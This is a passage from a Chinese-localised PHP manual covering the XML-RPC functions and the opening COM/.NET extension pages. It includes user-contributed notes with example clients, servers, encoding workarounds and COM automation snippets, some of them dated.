      return "xmlrpc: $response[faultString] ($response[faultCode])";
   } else {
      return $response;
   }
?>

1 - EDITOR NOTE: THIS IS A FIX FROM "SandersWang dt php at gmail dot com"
fredrik at it dot cdon dot com 06-Feb-2008 05:05
It should be noted that encoding does not seem to encode anything, just specify what goes into the XML header.

We had problems with double-encoded UTF strings being saved to database when using this function, sending it of to a apache xml-rpc servlet and storing it in mysql database. It was solved by setting 'escaping' to just 'markup' and 'encoding' to 'UTF-8' (don't forget to set 'utf-8' in xmlrpc_decode too).

It seems that UTF-8 encoded strings gets escaped with their bytes as entities instead of their characters as entites.
handco at gmail dot com 12-Mar-2007 08:39
Simple OO client with function Overload :

the php metho test_helloworld is translated to xmlrpc method test.helloworld.

class RpcClient {

    private $_methods;
    private $_context;
    private $_url;

    function __construct ($url, $user, $passwd) {
        $auth = base64_encode(sprintf('%s:%s', $user,$passwd));
        $this->_context = stream_context_create(array(
            'http' => array(
                'method' => 'POST',
                'header' => "Content-Type: text/xml\r\n".
                            "Authorization: Basic $auth" ,

            )
        ));
        $this->_url = $url;

        $this->registerMethod ("Test_HelloWorld");

    }

    function __call($methodName, $params) {
        if (array_key_exists($methodName,$this->_methods)) {
            // on appelle la fonction RPC
            $m = str_replace('_', '.', $methodName);
            $r = xmlrpc_encode_request($m, $params,array('verbosity'=>'newlines_only'));
            $c = $this->_context;
            stream_context_set_option($c,'http','content',$r);
            $f = file_get_contents($this->_url,false,$c);
            $resp = xmlrpc_decode($f);
            return $resp;
        } else {
            // on appelle la fonction de l'objet
            call_user_method_array($methodName, $this,$params);
        }
    }

    private function registerMethod ($method) {
        $this->_methods[$method] = true;
    }

}
giunta dot gaetano at sea-aeroportimilano dot it 21-Aug-2006 03:54
Take care that this function will generate invalid xmlrpc content when invoked with certain parameters (said content will be happily parsed by the lib itself, but not by other implementations).

xmlrpc_encode_request(null, null)
will generate a response without a value

xmlrpc_encode_request('myfunc', array('faultCode' => 666, 'faultString' => 'hello world')
will generated a request containing a <fault> member instead of <params>
php at hendrik dash krauss dot de 28-May-2005 02:29
For examples / documentation of the array output_options, see http://xmlrpc-epi.sourceforge.net/main.php?t=php_api#output_options

In short, output_options lets you send compact xmlrpc (without all the "pretty whitespace" xmlrpc_encode adds normally), apply an own escaping table prior to sending, set the encoding, and a couple of other things (the page even says something about soap 1.1 ... I don't know details).
<URL:http://www.dlitz.net/go/contact/> 03-May-2004 11:28
Note that as far as I can tell, the &#10; characters generated by PHP in the base64 fields don't appear to violate the XML-RPC standard at all.  XML-RPC messages *are* in XML format, and as such, the XML entities should be getting decoded before being passed to a base64 decoder.  So, the previously-mentioned Jakarta-based XML-RPC server appears to violate the XML spec.  i.e. There's nothing here that needs to be "fixed" in PHP.
kelly at seankelly dot biz 28-Dec-2002 04:02
Binary strings (set with xmlrpc_set_type) go into a <base64>...</base64> block like you'd expect. But after every 80th character, this function inserts the XML entity "&#10;", which is a Unicode newline, as if to cause a line-wrap, which is admittedly silly.

Silly though it may be, it causes real problems for some XML-RPC servers, such as http://jakarta.apache.org/xmlrpc/ (nee Helma). Stripping out those entities with something like

$req = preg_replace('/&#10;/', '', xmlrpc_encode_request("my.method", $args));

works around the problem.
hfuecks at pinkgoblin dot com 15-Aug-2002 09:06
This function should be used by an XML-RPC client to create an XML payload for an XML-RPC request;

<?php
$params = "system.methodSignature";
$method = "system.methodHelp";
$request = xmlrpc_encode_request($method,$params);
echo ( $request );
?>

Produces;

<?xml version='1.0' encoding="iso-8859-1" ?>
<methodCall>
<methodName>system.methodHelp</methodName>
<params>
 <param>
  <value>
   <string>system.methodSignature</string>
  </value>
 </param>
</params>
</methodCall>

The second argument recognises the type of variable and generates the correct XML-RPC structure. See xmlrpc_encode() for more details.


为 PHP 的值生成 XML

  • ? xmlrpc_encode_request
  • xmlrpc_get_type ?
  • PHP Manual
  • XML-RPC 函数
  • 为 PHP 的值生成 XML

xmlrpc_encode

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_encode — 为 PHP 的值生成 XML

说明

xmlrpc_encode ( mixed $value ) : string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

remi 13-May-2009 01:56
This xmlrpc_encode function doesn't generate the "methodResponse" tag required by some clients.

Using xmlrpc_encode_request seems better:

<?php
$xmlresponse = xmlrpc_encode_request(NULL, $phpresponse);

xmlrpc_encode(1) generate
<?xml version="1.0" encoding="utf-8"?>
<params>
<param>
 <value>
  <int>1</int>
 </value>
</param>
</params>

xmlrpc_encode_request(NULL,1) generate
<?xml version="1.0" encoding="iso-8859-1"?>
<methodResponse>
<params>
 <param>
  <value>
   <int>1</int>
  </value>
 </param>
</params>
</methodResponse>
?>
dave dot wilcock at gmail dot com 21-Sep-2007 07:05
Worth noting, you can use this function to generate fault response xml.

If you pass a pre-determined array into this function, as follows

<?
$myArray = array ("faultCode"=>1,"faultString"=>"Too many params");
$xml = xmlrpc_encode($myArray);
?>

... you will get output much like the following:

<?xml version="1.0" encoding="utf-8"?>
<fault>
<value>
 <struct>
  <member>
   <name>faultCode</name>
   <value>
    <int>4</int>
   </value>
  </member>
  <member>
   <name>faultString</name>
   <value>
    <string>Too many params</string>
   </value>
  </member>
 </struct>
</value>
</fault>

All that is needed to do here to make it valid XML-RPC is inject some of your own methodResponse tags.

Check the XML-RPC specification at http://www.xmlrpc.com/spec
08-Jun-2006 07:32
Another quirk (more of a bug i think) is the automatic encoding of hashes where all keys that begin with a digit between 1 and 9 are lost:
http://bugs.php.net/bug.php?id=37746

Luckily I found a quick workaround. Just append chr(0x00) to your keys and the xmlrpc response will be correct. Maybe this will apply to encoding of hashes for requests too.
Amir.LaherATcomplinetDOTcom 26-Aug-2005 01:54
Beware this quirk: when you xmlrpc_encode a hash into xmlrpc, numeric keys will not be kept. Even strings containing numbers-only will be lost.

i.e.: xmlrpc_decode(xmlrpc_encode(array('123'=>456)));
returns: array(0=>456);

Apparently this is intentional functionality (see http://bugs.php.net/bug.php?id=21949)

2 workarounds:
1. prepend/append a string (even whitespace) to all keys, and strip them out at the other end. eg array('key_123'=>456);
2. create an array of hashes. array(array('key'=>123,'value'=>456));

I favour the second option because it's more deliberate.

... this also applies to xmlrpc_encode_request()
hfuecks at pinkgoblin dot com 15-Aug-2002 08:16
This function would be used by an XML-RPC server to convert PHP variables into an XML-RPC response.

It would be used within the PHP functions defined using xmlrpc_server_register_method()

Uses PHP variable reflection to assign the correct data types for the XML-RPC response. For example;

<?php
$params = array ( "one"=>"red","two"=>"blue","three"=>"green" );

$response = xmlrpc_encode ( $params );

echo ( $response );
?>

Produces;

<?xml version='1.0' encoding="utf-8" ?>
<params>
<param>
 <value>
  <struct>
   <member>
    <name>one</name>
    <value>
     <string>red</string>
    </value>
   </member>
   <member>
    <name>two</name>
    <value>
     <string>blue</string>
    </value>
   </member>
   <member>
    <name>three</name>
    <value>
     <string>green</string>
    </value>
   </member>
  </struct>
 </value>
</param>
</params>

While
<?php
$params = array ( "red", "blue", "green" );

$response = xmlrpc_encode ( $params );

echo ( $response );
?>

produces;

<?xml version='1.0' encoding="utf-8" ?>
<params>
<param>
 <value>
  <array>
   <data>
    <value>
     <string>red</string>
    </value>
    <value>
     <string>blue</string>
    </value>
    <value>
     <string>green</string>
    </value>
   </data>
  </array>
 </value>
</param>
</params>

And

<?php
$params = 1;

$response = xmlrpc_encode ( $params );

echo ( $response );
?>

produces

<?xml version='1.0' encoding="utf-8" ?>
<params>
<param>
 <value>
  <int>1</int>
 </value>
</param>
</params>

It's useful to be aware of the settype() function (http://www.php.net/settype).

For binary base64 data and XML-RPC iso8601 date times the xmlrpc_set_type() function should be used on a PHP variable before using xmlrpc_encode()


为 PHP 的值获取 xmlrpc 的类型

  • ? xmlrpc_encode
  • xmlrpc_is_fault ?
  • PHP Manual
  • XML-RPC 函数
  • 为 PHP 的值获取 xmlrpc 的类型

xmlrpc_get_type

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_get_type — 为 PHP 的值获取 xmlrpc 的类型

说明

xmlrpc_get_type ( mixed $value ) : string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

该函数对于 base64 与日期时间字符串特别有用。

参数

value

PHP value

返回值

Returns the XML-RPC type.

范例

Example #1 XML-RPC type example

<?php
echo xmlrpc_get_type(null) . "\n"; // base64
echo xmlrpc_get_type(false) . "\n"; // boolean
echo xmlrpc_get_type(1) . "\n"; // int
echo xmlrpc_get_type(1.0) . "\n"; // double
echo xmlrpc_get_type("") . "\n"; // string
echo xmlrpc_get_type(array()) . "\n"; // array
echo xmlrpc_get_type(new stdClass) . "\n"; // array
echo xmlrpc_get_type(STDIN) . "\n"; // int
?>

参见

  • xmlrpc_set_type() - 为一个 PHP 字符串值设置 xmlrpc 的类型、base64 或日期时间

User Contributed Notes

hfuecks at pinkgoblin dot com 16-Aug-2002 10:41
This function returns the type of a PHP variable in XML-RPC terms. It won't "spot" base64 or iso8601 types unless they have been defined using xmlrpc_set_type().

For iso8601 type it returns "datetime".

Otherwise it returns strings corresponding directly the XML-RPC data types e.g. "struct","int","string","base64" etc.


Determines if an array value represents an XMLRPC fault

  • ? xmlrpc_get_type
  • xmlrpc_parse_method_descriptions ?
  • PHP Manual
  • XML-RPC 函数
  • Determines if an array value represents an XMLRPC fault

xmlrpc_is_fault

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

xmlrpc_is_fault — Determines if an array value represents an XMLRPC fault

说明

xmlrpc_is_fault ( array $arg ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

参数

arg

Array returned by xmlrpc_decode().

返回值

Returns TRUE if the argument means fault, FALSE otherwise. Fault description is available in $arg["faultString"], fault code is in $arg["faultCode"].

范例

See example by xmlrpc_encode_request().

参见

  • xmlrpc_decode() - 将 XML 译码为 PHP 本身的类型

User Contributed Notes

angelo at at dot com 25-Jan-2011 12:31
A note, response from xmlrpc_decode is not always an array. Whenever the XMLRPC server returns a string, xmlrpc_is_fault will complain about not being an array.

Best way to detect errors is

<?php

    $response = xmlrpc_decode($file);

    if (is_array($response) && xmlrpc_is_fault($response)) {
        throw new Exception($response['faultString'], $response['faultCode']);
    }

?>


将 XML 译码成方法描述的列表

  • ? xmlrpc_is_fault
  • xmlrpc_server_add_introspection_data ?
  • PHP Manual
  • XML-RPC 函数
  • 将 XML 译码成方法描述的列表

xmlrpc_parse_method_descriptions

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_parse_method_descriptions — 将 XML 译码成方法描述的列表

说明

xmlrpc_parse_method_descriptions ( string $xml ) : array
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


添加自我描述的文档

  • ? xmlrpc_parse_method_descriptions
  • xmlrpc_server_call_method ?
  • PHP Manual
  • XML-RPC 函数
  • 添加自我描述的文档

xmlrpc_server_add_introspection_data

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_add_introspection_data — 添加自我描述的文档

说明

xmlrpc_server_add_introspection_data ( resource $server , array $desc ) : int
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


解析 XML 请求同时调用方法

  • ? xmlrpc_server_add_introspection_data
  • xmlrpc_server_create ?
  • PHP Manual
  • XML-RPC 函数
  • 解析 XML 请求同时调用方法

xmlrpc_server_call_method

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_call_method — 解析 XML 请求同时调用方法

说明

xmlrpc_server_call_method ( resource $server , string $xml , mixed $user_data [, array $output_options ] ) : string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

marco.buratto at tiscali punto it 28-Dec-2006 08:15
xmlrpc_server_call_method() with class methods

<?php
require_once ('Connections/adodb_mysql_connection.php');

// Instantiating my own class
$my_report = new external_report($db_connection);

// Setting up the XML-RPC "server"
$xmlrpc_server_handler = xmlrpc_server_create();
xmlrpc_server_register_method($xmlrpc_server_handler, "external_method", array(&$my_report, "export"));

// Creating XML return data
if ($response = xmlrpc_server_call_method($xmlrpc_server_handler, $HTTP_RAW_POST_DATA, null))
    {
    header('Content-Type: text/xml');
    echo $response;
    }

// **************** class definition ****************

class external_report
    {
    protected $db_connection;

    public function __construct($db_connection_pointer)
        {
        if (method_exists($db_connection_pointer, "Execute")) $this->db_connection = $db_connection_pointer;
        else die("...");
        }

    public function export($method_name, $params_array)
        {
        $id_dir = (int)$params_array[0];
        $id_usr = (int)$params_array[1]; // not used, just an example
        // We have to add arguments' validating code here and NOT inside the constructor (as usual)
        // because arguments are passed directly by xmlrpc_server_call_method (?!!)

        $myexport = array();

        $dirs_query = "SELECT documento_id FROM tabella_cartelle WHERE cartella_id = ".$id_dir;
        $dirs_result = $this->db_connection->Execute($dirs_query) or die("...");

        $index = 0;
        while(!$dirs_result->EOF)
            {
            $docs_query = "SELECT codice, titolo FROM tabella_documenti WHERE id_documento = ".$dirs_result->Fields('documento_id');
            $docs_result = $this->db_connection->Execute($docs_query) or die("...");

            $myexport[$index]['codice'] = $docs_result->Fields('codice');
            $myexport[$index]['titolo'] = $docs_result->Fields('titolo');

            $index++;
            $dirs_result->MoveNext();
            }

        return $myexport;
        }
    }
?>
nyvsld at gmail dot com 27-Nov-2005 05:08
<?php
/* method implementation */
function impl($method_name,$params,$user_data){
  var_dump(func_get_args('impl'));
  return array_sum($params);
}

/* create server */
$s=xmlrpc_server_create();
xmlrpc_server_register_method($s,'add','impl');

/* calling server method */
$req=xmlrpc_encode_request('add',array(1,2,3));
$resp=xmlrpc_server_call_method($s,$req,array(3,4));

/* process result */
$decoded=xmlrpc_decode($resp);
if(xmlrpc_is_fault($decoded)){
    echo 'fault!';
}

var_dump($decoded);
?>


创建一个 xmlrpc 服务端

  • ? xmlrpc_server_call_method
  • xmlrpc_server_destroy ?
  • PHP Manual
  • XML-RPC 函数
  • 创建一个 xmlrpc 服务端

xmlrpc_server_create

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_create — 创建一个 xmlrpc 服务端

说明

xmlrpc_server_create ( void ) : resource
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


销毁服务端资源

  • ? xmlrpc_server_create
  • xmlrpc_server_register_introspection_callback ?
  • PHP Manual
  • XML-RPC 函数
  • 销毁服务端资源

xmlrpc_server_destroy

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_destroy — 销毁服务端资源

说明

xmlrpc_server_destroy ( resource $server ) : int
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

nospam at bigbadweb dot co dot uk 22-Nov-2005 02:26
This function returns true (1) if successful and false (0) if resource is invalid or could not be destroyed.


注册一个 PHP 函数用于生成文档

  • ? xmlrpc_server_destroy
  • xmlrpc_server_register_method ?
  • PHP Manual
  • XML-RPC 函数
  • 注册一个 PHP 函数用于生成文档

xmlrpc_server_register_introspection_callback

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_register_introspection_callback — 注册一个 PHP 函数用于生成文档

说明

xmlrpc_server_register_introspection_callback ( resource $server , string $function ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


注册一个 PHP 函数用于匹配 xmlrpc 方法名

  • ? xmlrpc_server_register_introspection_callback
  • xmlrpc_set_type ?
  • PHP Manual
  • XML-RPC 函数
  • 注册一个 PHP 函数用于匹配 xmlrpc 方法名

xmlrpc_server_register_method

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_register_method — 注册一个 PHP 函数用于匹配 xmlrpc 方法名

说明

xmlrpc_server_register_method ( resource $server , string $method_name , string $function ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

giunta dot gaetano at sea-aeroportimilano dot it 11-Aug-2006 06:55
To have an xmlrpc fault response programatically generated by the server, the php function registered as method handler must return an array containing a FaultCode and a FaultString members.

function $myfunc($methodname, $vals, $extra_data)
{
...
return array('faultCode' => 666, 'faultString' => 'DOH!');
}
nyvsld at gmail dot com 27-Nov-2005 05:03
prototype of registered function:

function method_impl(string $method_name, array $params, array $user_data);

$method_name
    the public method name, known by calling client
$params
    parameters specified by calling client
$user_data
    any local data, passed by `xmlrpc_server_call_method'
dante at lorenso dot com 11-Aug-2005 12:46
To register a callback to a 'static' function within the same class, consider a syntax like the following:
<code>
$callback = array (__CLASS__, "my_function_name");
xmlrpc_server_register_method($xmlrpc_server, "my_function", $callback);
</code>
Doing it this way makes it easier to rename your class later.
eiriks at hollowmatrix dot com 28-Mar-2005 03:08
Remember that you can't do like Chrigu and Nate said if you want to add methods from a static class (Hence you can't create any instances of it).
A workaround is to create lambda functions calling the
methods:

// Our static handler class
static class MyHandler
{
    public function getPrice($item)
    {
        $prices = array("apple" => 4, "orange" => 5);
        return $prices[$item];
    }
    public function buy($item, $number)
    {
        $price = self::getPrice($item) * $number;
        do_thing_to_sell_the_item();
        return $price;
    }
}

// Use reflection to get method names and parameters
$mirror = new ReflectionClass("MyHandler");
foreach ($mirror->getMethods() as $method)
{
    // Create new "lambda" function for each method

    // Generate argument list
    $args = array();
    foreach ($method->getParameters() as $param)
    {
        $args[] = '$'.$param->getName();
    }
    $args = implode(',', $args);

    // Generate code
    $methodname = $method->getName();
    $code = "return {$real_class}::{$methodname}({$args});";

    // Create function, retrieve function name
    $function_name = create_function($args, $code);

    // Register the function
    xmlrpc_server_register_method($myserver, $methodname, $function_name);
}
Nate Parsons 29-Apr-2003 03:12
In case its not completely obvious what Chrigu meant,

You can register a method inside your class by doing the following:

xml_rpc_server_register_methode($xmlrpc_server, "myClientCall", array(&$this, "handleClientCallFunc"));

where $this == the magic class $this. =)
18-Nov-2002 10:40
Here is an example how to register a class methode:

xml_rpc_server_register_methode($xmlrpc_server, "foo", array(&$bar, "foo_func"));

where $bar is the instance of your class and foo_func a methode of this class. Don't forget the '&'!

hope this may be useful...

Chrigu


为一个 PHP 字符串值设置 xmlrpc 的类型、base64 或日期时间

  • ? xmlrpc_server_register_method
  • Windows 专用扩展 ?
  • PHP Manual
  • XML-RPC 函数
  • 为一个 PHP 字符串值设置 xmlrpc 的类型、base64 或日期时间

xmlrpc_set_type

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_set_type — 为一个 PHP 字符串值设置 xmlrpc 的类型、base64 或日期时间

说明

xmlrpc_set_type ( string &$value , string $type ) : bool

为一个 PHP 字符串值设置 xmlrpc 的类型、base64 或日期时间

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

参数

value

Value to set the type

type

'base64' or 'datetime'

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。 If successful, value is converted to an object.

范例

Example #1 A xmlrpc_set_type() example

<?php

$params = date("Ymd\TH:i:s", time());
xmlrpc_set_type($params, 'datetime');
echo xmlrpc_encode($params);

?>

以上例程的输出类似于：

<?xml version="1.0" encoding="utf-8"?>
<params>
<param>
 <value>
  <dateTime.iso8601>20090322T23:43:03</dateTime.iso8601>
 </value>
</param>
</params>

错误／异常

Issues E_WARNING with type unsupported by XMLRPC.

User Contributed Notes

bmatheny at mobocracy dot net 24-Mar-2006 03:08
The following code segfaults some older (pre 5.1.2) versions of PHP:

$foo = date('c', time());
xmlrpc_set_type($foo, 'datetime');

Please upgrade before reporting as a bug.
shem((at))etkDOTca [aka.Przemyslaw Szot] 30-Oct-2004 02:23
Once you use the xmlrpc_set_type function, the data is encoded into a PHP object.  In your XMLRPC server, in order to access the data you must be able to access the necessary part of the object.

So.. to expend on the example above:

<---------- CLIENT ---------->
$string = "My logging event.";
$date = "20030115T12:22:37"; // Must be this format
$binary = fread($fp, 128);
xmlrpc_set_type(&$date, "datetime");
xmlrpc_set_type(&$binary, "base64");
$xmlrpcReq = xmlrpc_encode_request("log.data", array($string, $date, $binary));

In order to retrieve the binary file data you would need to get the scalar portion of the object:

<---------- SERVER ------------>
$string=$params[0];
$date_obj=$params[1];
$binary_obj=$params[2];

$date=$date_obj->scalar;
$binary_data=$binary_obj->scalar;

// Then you can proceed to write the binary
fwrite($handle,$binary_data);
kelly at seankelly dot biz 28-Dec-2002 07:53
The problem is that PHP has a string type which is also used to hold binary data and dates.  But XML-RPC defines three separate types for strings, binary data, and dates.  How do you tell how you want strings encoded?  That's where this function comes in.

Suppose the XML-RPC method "log.data" took a string, a date, and a binary object.  To tell XML-RPC that the date (which is a PHP string) is a really a date and that the binary data (which is also a PHP string) is really binary data, try:

$string = "My logging event.";
$date = "20030115T12:22:37"; // Must be this format
$binary = fread($fp, 128);
xmlrpc_set_type(&$date, "datetime");
xmlrpc_set_type(&$binary, "base64");
$xmlrpcReq = xmlrpc_encode_request("log.data", array($string, $date, $binary));

Note the reference passing in the calls to xmlrpc_set_type; that enables the function to change the values from strings into what xmlrpc_encode/_request expects (which are objects that include a bonus field that tells the desired XML-RPC type).


Windows 专用扩展

  • COM — COM and .Net (Windows)
    • 简介
    • 安装／配置
    • 预定义常量
    • Errors and error handling
    • 范例
    • COM — The COM class
    • DOTNET — The DOTNET class
    • VARIANT — VARIANT class
    • com_exception — The com_exception class
    • COM 函数
  • win32ps
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • win32ps 函数
  • win32service
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • win32service 函数

User Contributed Notes

There are no user contributed notes for this page.


COM and .Net (Windows)

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Errors and error handling
  • 范例
    • For Each
    • Arrays and Array-style COM properties
  • COM — The COM class
    • COM::__construct — COM class constructor
  • DOTNET — The DOTNET class
    • DOTNET::__construct — DOTNET class constructor
  • VARIANT — VARIANT class
    • VARIANT::__construct — VARIANT class constructor
  • com_exception — The com_exception class
  • COM 函数
    • com_create_guid — Generate a globally unique identifier (GUID)
    • com_event_sink — Connect events from a COM object to a PHP object
    • com_get_active_object — Returns a handle to an already running instance of a COM object
    • com_load_typelib — 装载一个 Typelib
    • com_message_pump — Process COM messages, sleeping for up to timeoutms milliseconds
    • com_print_typeinfo — Print out a PHP class definition for a dispatchable interface
    • variant_abs — Returns the absolute value of a variant
    • variant_add — "Adds" two variant values together and returns the result
    • variant_and — Performs a bitwise AND operation between two variants
    • variant_cast — Convert a variant into a new variant object of another type
    • variant_cat — Concatenates two variant values together and returns the result
    • variant_cmp — Compares two variants
    • variant_date_from_timestamp — Returns a variant date representation of a Unix timestamp
    • variant_date_to_timestamp — Converts a variant date/time value to Unix timestamp
    • variant_div — Returns the result from dividing two variants
    • variant_eqv — Performs a bitwise equivalence on two variants
    • variant_fix — Returns the integer portion of a variant
    • variant_get_type — Returns the type of a variant object
    • variant_idiv — Converts variants to integers and then returns the result from dividing them
    • variant_imp — Performs a bitwise implication on two variants
    • variant_int — Returns the integer portion of a variant
    • variant_mod — Divides two variants and returns only the remainder
    • variant_mul — Multiplies the values of the two variants
    • variant_neg — Performs logical negation on a variant
    • variant_not — Performs bitwise not negation on a variant
    • variant_or — Performs a logical disjunction on two variants
    • variant_pow — Returns the result of performing the power function with two variants
    • variant_round — Rounds a variant to the specified number of decimal places
    • variant_set_type — Convert a variant into another type "in-place"
    • variant_set — Assigns a new value for a variant object
    • variant_sub — Subtracts the value of the right variant from the left variant value
    • variant_xor — Performs a logical exclusion on two variants

User Contributed Notes

robert dot johnson at icap dot com 24-Jul-2012 09:30
(From?) PHP 5.4.5 for Windows:

If you are seeing this in your error log:

Fatal error:  Class 'COM' not found

You require this in php.ini:

[PHP_COM_DOTNET]
extension=php_com_dotnet.dll

Previously it was compiled as built-in on the Windows build.  I assume this has happened because the com extension can now be built as a shared component.
Anonymous 23-Sep-2009 05:00
Add hyperlink at a Word Document's bookmark

<?php
// Create COM instance to word
       function clsMSWord($Visible = false)
       {
           $this->handle = new COM("word.application") or die("Unable to instanciate Word");
           $this->handle->Visible = $Visible;
       }

function WriteHyperlink($Bookmark,$Path,$Text)
       {
               $objBookmark = $this->handle->ActiveDocument->Bookmarks($Bookmark);
               $range = $objBookmark->Range;
               $objHyperlink = $this->handle->ActiveDocument->Hyperlinks;
               $objHyperlink->add($range,$Path,"","",$Text);

       }
?>
Dave Bachtel 27-May-2009 02:20
Hello everybody!

Here is some helpful advice for people attempting to use COM with Microsoft MapPoint 2006 or 2009 with PHP.

If you are using apache, it MUST be running under the same credentials as a desktop user that has already installed/run mappoint or modifiy the service and select the "Allow Service to Interact with Desktop" option.  Otherwise, it won't work due to the EULA popup having to be accepted.  Mappoint 2004 works just fine, this only applies to 2006 and 2009.

For troubleshooting, the error that appears in the System event viewer is:
The server {31851F82-AFE6-11D2-A3C9-00C04F72F340} did not register with DCOM within the required timeout.

The error generated by PHP, if you happen to get lucky and let the COM() function timeout by cranking up set_time_limit() timeout is:
<?php

set_time_limit(1000) ;

$mapoint =  new COM("MapPoint.Application") or die("Unable to instantiate Mappoint COM object");

?>
Generates:
Fatal error: Uncaught exception 'com_exception' with message 'Failed to create COM object `MapPoint.Application': Server execution failed ' in [somefile.php]:9 Stack trace: #0 [somefile.php](9): com->com('MapPoint.Applic...') #1 {main} thrown in [somefile.php] on line 9

Also, if you have multiple versions of MapPoint installed, you will need to run:
c:\path\to\mappoint\MapPoint.exe /registerserver

(using the correct folder path) to select the right version of the com object to use.  Gooood luck!
acsandeep at gmail dot com 04-Apr-2009 09:40
If you are trying to get the properties of a Word document opened via COM object, you may need to define some constants in your script like so.

<?php
define('wdPropertyTitle', 1);
define('wdPropertySubject', 2);
define('wdPropertyAuthor', 3);
define('wdPropertyKeywords', 4);
define('wdPropertyComments', 5);
define('wdPropertyTemplate', 6);
define('wdPropertyLastAuthor', 7);

$word = new COM("word.application") or die ("Could not initialise MS Word object.");
$word->Documents->Open(realpath("Sample.doc"));
$Author = $word->ActiveDocument->BuiltInDocumentProperties(wdPropertyAuthor);

echo $Author;
?>
long2hu3 ATT yahoo DOTT com 18-Mar-2009 04:38
When you work with MS Excel, Word, ... and other applications, never forget that COM doesn't know their predefined constants, thus if you want to do sth. that would look like this in VB:

With myRange.Borders(xlEdgeBottom)
    .LineStyle = xlContinuous
    .Weight = xlThin
    .ColorIndex = xlAutomatic
End With

you should either use numbers or define constants above, like this:

<?php

define('xlEdgeBottom', 9);
define('xlContinuous', 1);
define('xlThin', 2);
define('xlAutomatic', -4105);

$ex = new COM("Excel.Application", NULL, CP_UTF8) or Die ("Did not instantiate Excel");
$wb = $ex->Application->Workbooks->Add();
$ws = $wb->Worksheets(1);

$xra = $ws->Range("A1:A6");

$bs = $xra->Borders(xlEdgeBottom);
$bs->LineStyle = xlContinuous;
$bs->Weight = xlThin;
$bs->ColorIndex = xlAutomatic;

?>

It is pointless to try to use text strings, i.e.

<?php

$bs = $xra->Borders('xlEdgeBottom');
$bs->Weight = 'xlThin';

?>

this will cause an error: Unable to set property Weight of class Border ...
ilayansmano at gmail dot com 26-Aug-2008 01:39
Extracting text from Word Documents via PHP and COM

<?php
$word = new COM("word.application") or die ("Could not initialise MS Word object.");
$word->Documents->Open(realpath("Sample.doc"));

// Extract content.
$content = (string) $word->ActiveDocument->Content;

echo $content;

$word->ActiveDocument->Close(false);

$word->Quit();
$word = null;
unset($word);
?>


简介

COM is an acronym for Component Object Model; it is an object orientated layer (and associated services) on top of DCE RPC (an open standard) and defines a common calling convention that enables code written in any language to call and interoperate with code written in any other language (provided those languages are COM aware). Not only can the code be written in any language, but it need not even be part of the same executable; the code can be loaded from a DLL, be found in another process running on the same machine, or, with DCOM (Distributed COM), be found in another process on a remote machine, all without your code even needing to know where a component resides.

There is a subset of COM known as OLE Automation which comprises a set of COM interfaces that allow loose binding to COM objects, so that they can be introspected and called at run-time without compile-time knowledge of how the object works. The PHP COM extension utilizes the OLE Automation interfaces to allow you to create and call compatible objects from your scripts. Technically speaking, this should really be called the "OLE Automation Extension for PHP", since not all COM objects are OLE compatible.

Now, why would or should you use COM? COM is one of the main ways to glue applications and components together on the Windows platform; using COM you can launch Microsoft Word, fill in a document template and save the result as a Word document and send it to a visitor of your web site. You can also use COM to perform administrative tasks for your network and to configure your IIS; these are just the most common uses; you can do much more with COM.

Additionally, we support the instantiation and creation of .Net assemblies using the COM interoperability layer provided by Microsoft.

User Contributed Notes

There are no user contributed notes for this page.


需求

COM functions are only available for the Windows version of PHP.

.Net support requires the .Net runtime.

User Contributed Notes

There are no user contributed notes for this page.


安装

